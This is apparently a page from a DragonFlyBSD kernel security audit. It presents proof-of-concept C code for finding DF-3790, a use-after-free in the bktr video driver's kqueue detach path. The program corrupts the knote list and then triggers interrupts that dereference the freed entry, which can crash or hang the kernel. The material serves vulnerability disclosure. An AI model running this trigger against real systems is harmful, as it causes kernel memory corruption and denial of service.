⬢ DragonFlyBSD Kernel Audit
DF-3790 / poc_knote_detach.c
← back to finding ↓ download raw
/*
 * DF-3790 PoC trigger (requires real Bt848/878 hardware + bktr driver).
 *
 * bktr_filter_detach() (sys/dev/video/bktr/bktr_os.c:724-732) calls
 * knote_INSERT() instead of knote_REMOVE() when a knote is destroyed, so
 * the destroyed knote stays on (or is re-inserted / self-looped into)
 * bktr->vbi_kq.ki_note. The next VBI frame interrupt runs
 * KNOTE(&bktr->vbi_kq.ki_note, 0) (bktr_core.c:705), which walks the list
 * and dereferences the freed knote -> UAF from interrupt context, or an
 * infinite SLIST walk (self-loop) with the pool token held -> hard hang.
 *
 * Sequence: keep /dev/vbi0 open, register EVFILT_READ knote on it, delete
 * the knote (EV_DELETE) -- corrupt the klist -- then run video capture so
 * the interrupt KNOTE()s the dangling entry.
 */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/event.h>
#include <sys/types.h>

#include <dev/video/meteor/ioctl_meteor.h>
#include <dev/video/bktr/ioctl_bt848.h>

int main(void)
{
	struct kevent kev;
	int kq, vfd, cfd, arg = METEOR_CAP_CONTINOUS;
	unsigned long fmt = METEOR_FMT_PAL;

	vfd = open("/dev/vbi0", O_RDONLY);
	if (vfd < 0) { perror("open /dev/vbi0"); return 1; }

	kq = kqueue();
	EV_SET(&kev, vfd, EVFILT_READ, EV_ADD, 0, 0, NULL);
	if (kevent(kq, &kev, 1, NULL, 0, NULL) < 0) { perror("kevent ADD"); return 1; }

	/* destroy the knote -> f_detach runs knote_insert() -> dangling entry */
	EV_SET(&kev, vfd, EVFILT_READ, EV_DELETE, 0, 0, NULL);
	if (kevent(kq, &kev, 1, NULL, 0, NULL) < 0) { perror("kevent DEL"); return 1; }
	printf("knote deleted; vbi_kq list now holds a dangling entry\n");

	/* produce interrupts: PAL forces rgb_vbi_prog -> vbidecode -> KNOTE */
	cfd = open("/dev/bktr0", O_RDONLY);
	if (ioctl(cfd, METEORSFMT, &fmt) < 0) perror("METEORSFMT");
	if (ioctl(cfd, METEORCAPTUR, &arg) < 0) perror("METEORCAPTUR");
	printf("capture started; KNOTE() from intr walks freed knote...\n");
	sleep(10);
	return 0;
}